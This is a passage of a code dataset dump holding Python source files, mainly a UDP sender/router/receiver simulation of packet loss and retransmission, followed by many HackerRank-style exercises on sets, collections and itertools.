fcm.firebaseMessage(Temperature[Temperature.length - 1], \"\", \"\", lat[lat.length - 1], lng[lng.length - 1], \"Temperature Increase\")\n } \n \n });\n // fcm.firebaseMessage(req.body.temp, req.body.speed, req.body.accl, req.body.lat, req.body.lng, req.body.msg);\n});\n\napp.listen(port);"
},
{
"alpha_fraction": 0.7132866978645325,
"alphanum_fraction": 0.748251736164093,
"avg_line_length": 35,
"blob_id": "b009a9a1bd4666b5058ebe07f84183933f4fea42",
"content_id": "8c2c8d7306fc96178c811464cd811dbc41aafdd2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 143,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 4,
"path": "/raspberry-pi-python/sendNotification.py",
"repo_name": "AakashBanik/decentralized-fleet-monitoring",
"src_encoding": "UTF-8",
"text": "import requests\n\ndef sendNotificationtoDevice(temp, accl, gyro):\n r = requests.post(\"https://ancient-refuge-36587.herokuapp.com/notify\")"
}
] | 12 |
ankunix/Socket-Programming-Python | https://github.com/ankunix/Socket-Programming-Python | 0b844e44d5befbb8d9ecbf98c87fb2b54a27a74c | 74cc450789c9dc662d77dc0d5408166c0bfaba48 | 72fee73034b61dbd6c1bb4fb5169a42e9ea768f4 | refs/heads/master | 2021-05-30T18:30:50.581428 | 2016-03-11T01:21:10 | 2016-03-11T01:21:10 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7181418538093567,
"alphanum_fraction": 0.7225360870361328,
"avg_line_length": 31.510204315185547,
"blob_id": "087982cf0a6406e200011ab473c008bba6d10e23",
"content_id": "917e2e015f3b2d3d306f23522edea0cbaa0f1b06",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1593,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 49,
"path": "/sender.py",
"repo_name": "ankunix/Socket-Programming-Python",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#Import all modules from socket.\nimport socket\n#Import all modules from sys.\nimport sys\nimport time\n#Import router address and port.\nfrom routerInfo import *\n#Main function begins here.\ndef Main():\n\tstartTime=time.time() #Statistics\n\t#Creating a sender socket object using socket() function.\n\tsenderSocket = socket.socket(socket.AF_INET, # Internet\n socket.SOCK_DGRAM) #Internet,UDP\n\tsenderSocket.bind((HOST, SENDER_PORT))\n\ttotalPackets=int(sys.argv[1])\n\tretransmissionCount=0 #Statistics\n\t#Loop for the count of data packets to be transmitted, totalPackets is a count provided as a command line argument.\n\tfor seq in range(0,totalPackets):\n\t\t#Append data packets with sequence number\n\t\toutData= \"pkt\" + str(seq)\n\t\t#Print the outgoing data to router\n\t\tprint \"send \" + outData\n\t\t#Send data to router\n\t\tsenderSocket.sendto(outData,(HOST,ROUTER_PORT))\n\n\twhile True:\n\t\tinData, addr = senderSocket.recvfrom(BUFFER_SIZE)\n\t\tprint inData\n\t\tif (inData[:3]==\"NAK\"):\n\t\t\tseq=inData[3:]\n\t\t\t#Append data packets with sequence number\n\t\t\toutData= \"pkt\" + str(seq)\n\t\t\tretransmissionCount+=1\n\t\t\t#Print the outgoing data to router\n\t\t\tprint \"send \" + outData\n\t\t\tsenderSocket.sendto(outData,(HOST,ROUTER_PORT))\n\t\telif (inData==\"END\"):\n\t\t\tbreak\n\t#Close Sender Socket\n\tsenderSocket.close()\n\tendTime=time.time()\n\t#Statistics\n\tprint(\"Total packets transmitted: \" + str(totalPackets))\n\tprint(\"Retransmissions Occured: \" + str(retransmissionCount))\n\tprint(\"Transmisson Time: %s seconds\" % (endTime - startTime))\n\ttotalPackets=int(sys.argv[1])\nif __name__ == '__main__':\n\tMain()\n"
},
{
"alpha_fraction": 0.7171327471733093,
"alphanum_fraction": 0.73191899061203,
"avg_line_length": 36.03571319580078,
"blob_id": "2b81b5fb471f647f66de71d55ad4b6d3363e6a21",
"content_id": "6620c4ca0c45b84daf050098b8fc388c261568a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3111,
"license_type": "no_license",
"max_line_length": 172,
"num_lines": 84,
"path": "/router.py",
"repo_name": "ankunix/Socket-Programming-Python",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\nimport time\n#Import all modules from socket.\nimport socket\n#Import all modules from sys.\nimport sys\n#Imprt all modules from random.\nfrom random import *\n#Import OptionParser modules from optparse.\nfrom optparse import OptionParser\nparser = OptionParser()\n#Add a command line option for demonstrating lossless scenario\nparser.add_option(\"-l\", \"--lossless\", action=\"store_true\", dest=\"scenario\")\n#Add a command line option for demonstrating lossy(packet drop) scenario\nparser.add_option(\"-d\",\"--drops\", action=\"store_false\", dest=\"scenario\")\n#Parse the command line options\n(options, args) = parser.parse_args()\n#Import router address and port.\nfrom routerInfo import *\n#Main function begins here.\n#This boolean value helps to decide which scenario of the algorithm to be run based on the command line options\nisLossy = not(bool(options.scenario))\n#Ankush Chauhan's Panther ID.\nPANTHER_ID1=int(\"002238254\")\n#Fayaz Shaik's Panther ID.\nPANTHER_ID2=int(\"002241063\")\n#Sum of last digits of both the Panther IDs.\nX=(PANTHER_ID1 % 10) + (PANTHER_ID2 % 10)\n#Creating a router socket object using socket() function.\nrouterSocket = socket.socket(socket.AF_INET, # Internet\n socket.SOCK_DGRAM) #Internet,UDP\n#Bind the socket object to the router address and port, providing these values as a tuple to the bind() function.\nrouterSocket.bind((HOST,ROUTER_PORT))\n#Statistics\nnetDrop=0\nnetDelay=0\nprint(\"Router Online!\")\ndef senderToReceiver(inSender):\n\t#Store the sender data and forward it to receiver.\n\toutReceiver=inSender\n\t#Randomly generate a number between [0-99] inclusive, and if that value is less than or equal to probability X, then packet is dropped and returns to begining of the loop.\n\tif ((isLossy) and (randint(0,99)<=10+X)):\n\t\tglobal netDrop\n\t\tnetDrop+=1\n\t\tprint \"Packet Dropped!\"\n\telse:\n #Calculate Delay\n\t\tdelay=randint(1,10)\n\t\tprint \"Delaying transmission by \"+str(delay)+\"ms\"\n\t\ttime.sleep(delay/100)\n\t\tglobal netDelay\n\t\tnetDelay+=delay\n\t\t#Print the outgoing data to Receiver Socket.\n\t\tprint(str(HOST) + \", \" + str(RECEIVER_PORT) + \" <== \" + outReceiver)\n\t\t#Send data to Receiver Socket.\n\t\trouterSocket.sendto(outReceiver,(HOST,RECEIVER_PORT))\n\ndef reciverToSender(inReceiver):\n\toutSender=inReceiver\n\tprint(str(HOST) + \", \" + str(SENDER_PORT) + \" <== \" + outSender)\n\trouterSocket.sendto(outSender,(HOST,SENDER_PORT))\n\n\ndef Main():\n\t#Infinite loop to proceed with the store-and-forward algorithm for the router.\n\twhile True:\n\t\tinPacket, fromAddr = routerSocket.recvfrom(BUFFER_SIZE)\n\t\t#Check whether receiver has decided to terminate the communications, using a special data value containing \"end\".\n\t\tif (inPacket==\"END\"):\n\t\t\treciverToSender(inPacket)\n\t\t\trouterSocket.close()\n\t\t\tprint \"Transmisson Complete, quiting now!\"\n\t\t\tprint \"Total Packets dropped:\" + str(netDrop)\n\t\t\tprint \"Total delay:\" + str(netDelay) + \"ms\"\n\n\t\t\texit(0)\n\t\tprint(str(fromAddr) + \" ==> \" + inPacket)\n\t\tif(fromAddr[1]==SENDER_PORT):\n\t\t\t#Receive data from SENDER_PORT\n\t\t\tsenderToReceiver(inPacket)\n\t\telif(fromAddr[1]==RECEIVER_PORT):\n\t\t\treciverToSender(inPacket)\nif __name__ == '__main__':\n\tMain()\n"
},
{
"alpha_fraction": 0.7122969627380371,
"alphanum_fraction": 0.7308584451675415,
"avg_line_length": 24.352941513061523,
"blob_id": "ae9358585017ecb0596a7c4d2a338e6228f5d04e",
"content_id": "7f56f9409c3b316538bdfdc075e8733ca68608a9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 431,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 17,
"path": "/README.md",
"repo_name": "ankunix/Socket-Programming-Python",
"src_encoding": "UTF-8",
"text": "Author : Ankush Chauhan\n\nSteps to run the system :\nStep 1>\n '''\n python router.py\n use --help for all command line options\nStep 2>\n '''\n python receiver.py\n replace the argv[1] with the number of packet transmissions\nStep 3>\n '''\n python sender.py 100\n replace the argv[1] with the number of packet transmissions\n\nNote unexpected behaviour may occur if number of packets given as argument have a mismatch; no generic checks done.\n"
},
{
"alpha_fraction": 0.6296296119689941,
"alphanum_fraction": 0.7460317611694336,
"avg_line_length": 20,
"blob_id": "37ac9413d7ee1b06595564a2e6ef96cf00837fa2",
"content_id": "95638e4bc63ae0ddb48680597f74a3d14a2f8559",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 189,
"license_type": "no_license",
"max_line_length": 29,
"num_lines": 9,
"path": "/routerInfo.py",
"repo_name": "ankunix/Socket-Programming-Python",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#Router Host address\nHOST = '127.0.0.1'\n#Router Port Address\nSENDER_PORT = 1336\nROUTER_PORT = 1337\nRECEIVER_PORT = 1338\n#Default Buffer Size for data\nBUFFER_SIZE=1024\n"
},
{
"alpha_fraction": 0.7051389813423157,
"alphanum_fraction": 0.7085088491439819,
"avg_line_length": 30.236841201782227,
"blob_id": "654b5f4957670927415eacbc1f27dab109bc1024",
"content_id": "987630917c72e5a3717a2018350ef8ee4fd3fd0d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1187,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 38,
"path": "/receiver.py",
"repo_name": "ankunix/Socket-Programming-Python",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#Import all modules from socket.\nimport socket\nimport sys\n#Import router address and port.\nfrom routerInfo import *\n#Main function begins here.\ndef Main():\n\t#Creating a receiver socket object using socket() function.\n\treceiverSocket = socket.socket(socket.AF_INET, # Internet\n\t socket.SOCK_DGRAM) # UDP\n\treceiverSocket.bind((HOST,RECEIVER_PORT))\n\treceiverSocket.settimeout(5)\n\ttotalPackets=int(sys.argv[1])\n\tpacketTracker=[False]*totalPackets\n\t#Wait for incoming packet from router\n\t#Infinite loop for transmission of data packets\n\twhile (not all(packetTracker)):\n\t\ttry:\n\t\t\tinData, routerAddr = receiverSocket.recvfrom(BUFFER_SIZE)\n\t\t\t#Print the incoming data\n\t\t\tprint \"rcv \" + inData\n\t\t\t#Slice out the sequence number\n\t\t\tif(inData[:3]==\"pkt\"):\n\t\t\t\tseq = int(inData[3:])\n\t\t\t\tpacketTracker[seq]=True\n\t\texcept:\n\t\t\tprint \"timeout\"\n\t\t\tfor seq in range(len(packetTracker)):\n\t\t\t\tif(not packetTracker[seq]):\n\t\t\t\t\toutData=\"NAK\"+str(seq)\n\t\t\t\t\tprint \"send \" + outData\n\t\t\t\t\treceiverSocket.sendto(outData,(HOST,ROUTER_PORT))\n\treceiverSocket.sendto(\"END\",(HOST,ROUTER_PORT))\n\t#Close Receiver Socket\n\treceiverSocket.close()\nif __name__ == '__main__':\n\tMain()\n"
}
] | 5 |
ygretharekar/python_practice | https://github.com/ygretharekar/python_practice | 34924632bbf487966e8bcf358dc97ef1ee78456c | 13b5a71b9c9f395202b8899de740ef351d00564c | 0ab4af762815fd8b0c5314ed25a8dd8f1487bb64 | refs/heads/master | 2020-03-31T14:50:41.529119 | 2019-01-06T17:59:24 | 2019-01-06T17:59:24 | 152,311,577 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.547703206539154,
"alphanum_fraction": 0.5512367486953735,
"avg_line_length": 22.58333396911621,
"blob_id": "23e0c035330654ba771176dc1a130f72d78ffa16",
"content_id": "5326f1b0eb9139c49bbfab621ac5fc08ef488a53",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 283,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 12,
"path": "/collections_namedtuple.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from collections import namedtuple\n\nif __name__ == '__main__':\n n = int(input())\n Row = namedtuple('Row', list(input().split()))\n total_marks = 0\n\n for i in range(n):\n r = Row(*list(input().split()))\n total_marks += int(r.MARKS)\n\n print(total_marks / n)\n"
},
{
"alpha_fraction": 0.5433526039123535,
"alphanum_fraction": 0.5433526039123535,
"avg_line_length": 20.625,
"blob_id": "adf42770ed24ea63358a147dbfdaf72917b42642",
"content_id": "5f6c0eba6a2a14c30d1255e1ff552b52c56dc6ad",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 173,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 8,
"path": "/itertools_permutations.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from itertools import permutations\n\nif __name__ == '__main__':\n a, b = input().split()\n b = int(b)\n\n for i in permutations(sorted(a), b):\n print(''.join(i))\n"
},
{
"alpha_fraction": 0.4219653308391571,
"alphanum_fraction": 0.43063583970069885,
"avg_line_length": 17.263158798217773,
"blob_id": "9831426f438c5fafa1803b8321bd836f995640b5",
"content_id": "7989d367796938246b325935768486eca06c6515",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 346,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 19,
"path": "/no_idea.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "def main():\n n, m = input().split()\n array = list(map(int, input().split()))\n a = set(map(int, input().split()))\n b = set(map(int, input().split()))\n happy = 0\n\n for i in array:\n if i in a:\n happy += 1\n \n if i in b:\n happy -= 1\n\n print(happy)\n\n\nif __name__ == '__main__':\n main()"
},
{
"alpha_fraction": 0.46212121844291687,
"alphanum_fraction": 0.47727271914482117,
"avg_line_length": 32.125,
"blob_id": "bdcbe613c18513c3819fde4c0ed0b47712c9f927",
"content_id": "7eef03f9f0ed9e87104b115b3265bdcb0c5cf580",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 264,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 8,
"path": "/designer_door_mat.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "def main(n, m):\n pattern = [('.|.'*(i*2 + 1)).center(m, '-') for i in range(n//2)]\n welcome = ['WELCOME'.center(m, '-')]\n print('\\n'.join(pattern + welcome + pattern[::-1]))\n\nif __name__ == '__main__':\n [n, m] = input().split()\n main(int(n), int(m))"
},
{
"alpha_fraction": 0.5043478012084961,
"alphanum_fraction": 0.5043478012084961,
"avg_line_length": 27.875,
"blob_id": "df1617b997d17bf651c0d8eaa2e102cc6b18a2b9",
"content_id": "855eb61d48abbc503b8f8165fa2cb85c7a22696a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 230,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 8,
"path": "/merge_the_tools.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "def main(string, k):\n for ss in zip(*[iter(string)] * k):\n d = {}\n print(''.join(d.setdefault(c, c) for c in ss if c not in d))\n\nif __name__ == '__main__':\n string, k = input(), int(input())\n main(string, k)"
},
{
"alpha_fraction": 0.46268656849861145,
"alphanum_fraction": 0.4776119291782379,
"avg_line_length": 21.33333396911621,
"blob_id": "03cf8484123f13166314ea060493983f188b6615",
"content_id": "1b14a84ac106dd00e6aba62883d73edd7fb6c57d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 201,
"license_type": "no_license",
"max_line_length": 29,
"num_lines": 9,
"path": "/math_polar_cooradinates.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from cmath import phase\n\nif __name__ == '__main__':\n # st = input().split('+')\n # x = int(st[0])\n # y = int(st[1][:-1])\n c_no = complex(input())\n print(abs(c_no))\n print(phase(c_no))\n"
},
{
"alpha_fraction": 0.4976958632469177,
"alphanum_fraction": 0.5069124698638916,
"avg_line_length": 23.11111068725586,
"blob_id": "4dd55c3272874606f6f7852a664af637c3fdb105",
"content_id": "30b2a47d6a0c7d954e0e35b69dcf05e5fa1dd106",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 217,
"license_type": "no_license",
"max_line_length": 36,
"num_lines": 9,
"path": "/itertools_combinations.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from itertools import combinations\n\nif __name__ == '__main__':\n a, b = input().split()\n a, b = sorted(a), int(b)\n\n for i in range(1, b + 1):\n for j in combinations(a, i):\n print(\"\".join(j))\n"
},
{
"alpha_fraction": 0.5670731663703918,
"alphanum_fraction": 0.5731707215309143,
"avg_line_length": 22.428571701049805,
"blob_id": "d25c1084ef9797aa83cb2c42fb50390532ae7f25",
"content_id": "3cd240224d73540fc4b0e22bce1fff79609c6bd3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 328,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 14,
"path": "/collections_word_order.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from collections import OrderedDict\n\nif __name__ == '__main__':\n n = int(input())\n wordLog = OrderedDict()\n\n for i in range(n):\n word = input()\n wordLog[word] = wordLog[word] + 1 if word in wordLog else 1\n\n print(len(wordLog))\n for word in wordLog:\n print(wordLog[word], end=\" \")\n print()\n"
},
{
"alpha_fraction": 0.5755813717842102,
"alphanum_fraction": 0.5833333134651184,
"avg_line_length": 27.66666603088379,
"blob_id": "2bbc86e21a743172146f4aebfc2b58722d699103",
"content_id": "1245ea0bc17807a0e339e93dd9eac26a0440ea8f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 516,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 18,
"path": "/collections_counter.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from collections import Counter\n\nif __name__ == '__main__':\n shoes = int(input())\n shoe_sizes = list(map(int, input().split()))\n # print(Counter(shoe_sizes))\n counter_dict = Counter(shoe_sizes)\n n = int(input())\n cust = []\n amount = 0\n\n for i in range(n):\n size, price = map(int, input().split())\n cust.append((size, price))\n amount += price if counter_dict[size] else 0\n counter_dict[size] = counter_dict[size] - 1 if counter_dict[size] else 0\n\n print(amount)\n"
},
{
"alpha_fraction": 0.5399239659309387,
"alphanum_fraction": 0.5437262654304504,
"avg_line_length": 22.909090042114258,
"blob_id": "18286b5c0069e179394523579a06e127030f821d",
"content_id": "3c7f408403a01baabf31eb5e011454bc7af0674b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 263,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 11,
"path": "/itertools_iterables_and_iterators.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from itertools import combinations\n\nif __name__ == '__main__':\n n = input()\n arr = [i for i in input().split()]\n k = int(input())\n prob = 0\n for i in combinations(arr, k):\n prob += 'a' in i\n\n print(prob / len(list(combinations(arr, k))))\n"
},
{
"alpha_fraction": 0.49189189076423645,
"alphanum_fraction": 0.5027027130126953,
"avg_line_length": 25.428571701049805,
"blob_id": "62f87f16b579a3cab9923b8a1306e935e285b516",
"content_id": "1b12654f6f25685fd9a5db9dd64a5b41b51dc324",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 185,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 7,
"path": "/set_union.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "if __name__ == '__main__':\n n1 = int(input())\n eng = set(map(int, input().split()))\n n2 = int(input())\n fre = set(map(int, input().split()))\n\n print(len(eng.union(fre)))\n"
},
{
"alpha_fraction": 0.5709342360496521,
"alphanum_fraction": 0.5916954874992371,
"avg_line_length": 27.899999618530273,
"blob_id": "08786529a69cc83b6c16a7d40387bf5a3f558850",
"content_id": "7cc4dc23f1fb2ce9c8d6df9a4674e507b3dc6908",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 289,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 10,
"path": "/collections_company_logo.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from collections import Counter\n\nif __name__ == '__main__':\n name = sorted(input().strip())\n most_common = Counter(name).most_common()\n\n most_common = sorted(most_common, key=lambda x: (x[1] * -1, x[0]))\n\n for i in range(3):\n print(most_common[i][0], most_common[i][1])\n"
},
{
"alpha_fraction": 0.46368715167045593,
"alphanum_fraction": 0.46368715167045593,
"avg_line_length": 26.615385055541992,
"blob_id": "c33fa12601de11519fe6412789840604a3e9b3f4",
"content_id": "5847aca6537894a9780b076000ff01d414266f9a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 358,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 13,
"path": "/exceptions.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "if __name__ == \"__main__\":\n n = int(input())\n for _ in range(n):\n try:\n a, b = map(int, input().split())\n except Exception as e:\n print(\"Error code: \", e)\n continue\n\n try:\n print(int(a/b))\n except Exception as e:\n print(\"Error code: integer division or modulo by zero\")"
},
{
"alpha_fraction": 0.7820512652397156,
"alphanum_fraction": 0.7820512652397156,
"avg_line_length": 14.600000381469727,
"blob_id": "8ee2f0737cc4c607567ec5c54998ede9fcd5474a",
"content_id": "8293b0a5543504ed22fb9f9749ba4a05f0b8f583",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 78,
"license_type": "no_license",
"max_line_length": 36,
"num_lines": 5,
"path": "/test/test_find_difference.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from unittest import TestCase\n\n\nclass TestFind_difference(TestCase):\n pass\n"
},
{
"alpha_fraction": 0.6217008829116821,
"alphanum_fraction": 0.6217008829116821,
"avg_line_length": 33.099998474121094,
"blob_id": "a532c0246a176f512413df37cdaa8b40e66885d0",
"content_id": "4d790ad2e594a3175d3bb705bfe6431effcc5a03",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 341,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 10,
"path": "/test/test_find_sym_difference.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from unittest import TestCase\n\nfrom set_symmetric_difference import find_sym_difference\n\n\nclass TestFindSymDifference(TestCase):\n def test_find_sym_difference(self):\n # self.fail()\n self.assertEqual({'c', 'e', 'H', 'n', 'R', 'r'},\n find_sym_difference(set(\"Hacker\"), set(\"Rank\")), \"sym diff failed\")\n"
},
{
"alpha_fraction": 0.46236559748649597,
"alphanum_fraction": 0.47311827540397644,
"avg_line_length": 26.899999618530273,
"blob_id": "28f2140f2d99f3692e5571c8a00f167cc823361c",
"content_id": "b9bbefc80a08c3f5e8bb25d3a71a283b14a811e5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 279,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 10,
"path": "/set_mutation.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "if __name__ == '__main__':\n n_a = int(input())\n set_a = set(map(int, input().split()))\n\n for i in range(int(input())):\n op = input().split()[0]\n set_b = set(map(int, input().split()))\n eval('set_a.{0}({1})'.format(op, set_b))\n\n print(sum(set_a))\n"
},
{
"alpha_fraction": 0.45059287548065186,
"alphanum_fraction": 0.45059287548065186,
"avg_line_length": 30.625,
"blob_id": "ee57ed0e9099834822ad6ac41665c1ed8167d281",
"content_id": "1af7b2a73129f28a34e8e9ebb8f0dab8bca748ad",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 253,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 8,
"path": "/set_check_subset.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "if __name__ == '__main__':\n t = int(input())\n for i in range(t):\n len_a = int(input())\n set_a = set(map(int, input().split()))\n len_b = int(input())\n set_b = set(map(int, input().split()))\n print(set_a >= set_b)\n"
},
{
"alpha_fraction": 0.493630588054657,
"alphanum_fraction": 0.493630588054657,
"avg_line_length": 30.399999618530273,
"blob_id": "fa24d6a86dbe0fa40bf76a89b348f50b4b4b34ac",
"content_id": "5af22ee80d066a5272682dab3de707d6d57a290a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 314,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 10,
"path": "/set_check_strict_superset.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "if __name__ == '__main__':\n set_a = set(map(int, input().split()))\n t = int(input())\n ans = True\n\n print(all((set_a > set(map(int, input().split()))) for _ in range(t)))\n # for i in range(t):\n # set_b = set(map(int, input().split()))\n # ans &= set_b.issuperset(set_a)\n # print(ans)\n"
},
{
"alpha_fraction": 0.5322580933570862,
"alphanum_fraction": 0.5322580933570862,
"avg_line_length": 22.375,
"blob_id": "b1afe596d2048c2f55da34ed518661da9b7fef01",
"content_id": "087c7335ae4c681533ee51c4d04a2a22f64da973",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 186,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 8,
"path": "/tuples.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "def main():\n n = int(input())\n integer_list = [i for i in input().split()]\n tup = tuple(int(i) for i in integer_list)\n print(hash(tup))\n\nif __name__ == '__main__':\n main()"
},
{
"alpha_fraction": 0.5186335444450378,
"alphanum_fraction": 0.5248447060585022,
"avg_line_length": 25.83333396911621,
"blob_id": "e8b365dc7a9ad1c82c6f049a365a80c5ac8f0633",
"content_id": "746dd3e4e3cbbad93ae4cc631ccf45cea065c6c6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 322,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 12,
"path": "/collection_ordered_list.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from collections import OrderedDict\n\nif __name__ == '__main__':\n n = int(input())\n od = OrderedDict()\n for i in range(n):\n data = input().split()\n item, price = \" \".join(data[:-1]), int(data[-1])\n od[item] = od[item] + price if item in od else price\n\n for i in od:\n print(i, od[i])\n"
},
{
"alpha_fraction": 0.4556961953639984,
"alphanum_fraction": 0.46202531456947327,
"avg_line_length": 30.600000381469727,
"blob_id": "8854f7f30f383198b36fcf7c0a0e698ce86e458d",
"content_id": "1b6e56943492214946ce4451b98e2d4eec33b5a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 158,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 5,
"path": "/the_captains_room.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "if __name__ == '__main__':\n num = int(input())\n arr = list(map(int, input().split()))\n s = set(arr)\n print((num * sum(s) - sum(arr)) / (num - 1))\n"
},
{
"alpha_fraction": 0.5070422291755676,
"alphanum_fraction": 0.5070422291755676,
"avg_line_length": 22.66666603088379,
"blob_id": "36575b0e19b70761bfa4a916847efc9e926690cc",
"content_id": "d2b211b533316d93c168bbe7e5c74cea93f925f2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 143,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 6,
"path": "/find_angle_mbc.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "import math\n\nif __name__ == '__main__':\n a = int(input())\n b = int(input())\n print(str(round(math.degrees(math.atan(a / b)))) + \"°\")\n"
},
{
"alpha_fraction": 0.5842105150222778,
"alphanum_fraction": 0.6000000238418579,
"avg_line_length": 30.66666603088379,
"blob_id": "35c887e7d4b96737ae73ba6f6013a727ba0cc1e9",
"content_id": "c60e9963ed28070103aa94ea1c2d853af1cdb307",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 190,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 6,
"path": "/date_and_time_calendar_module.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "import calendar\n\nif __name__ == '__main__':\n date = input().split()\n days = list(calendar.day_name)\n print(days[calendar.weekday(int(date[2]), int(date[0]), int(date[1]))].upper())\n"
},
{
"alpha_fraction": 0.5406504273414612,
"alphanum_fraction": 0.5569105744361877,
"avg_line_length": 23.5,
"blob_id": "377f524d6d59d45ce70d2d63a1cf42387e9a4c52",
"content_id": "bf8ae2b23e4351a11036a5a4a8d6f7556d5241fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 246,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 10,
"path": "/set_intersection.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "\ndef find_intersection(eng1, fre1):\n return eng1 & fre1\n\n\nif __name__ == '__main__':\n n = input()\n eng = set(map(int, input().split()))\n d = input()\n fre = set(map(int, input().split()))\n print(len(find_intersection(eng, fre)))\n"
},
{
"alpha_fraction": 0.4659685790538788,
"alphanum_fraction": 0.4738219976425171,
"avg_line_length": 20.22222137451172,
"blob_id": "65f0b93751f2126d7fe217c77ddb5bbd01f6a170",
"content_id": "d03903de1244ced5366bb6cc61a62b30280f98de",
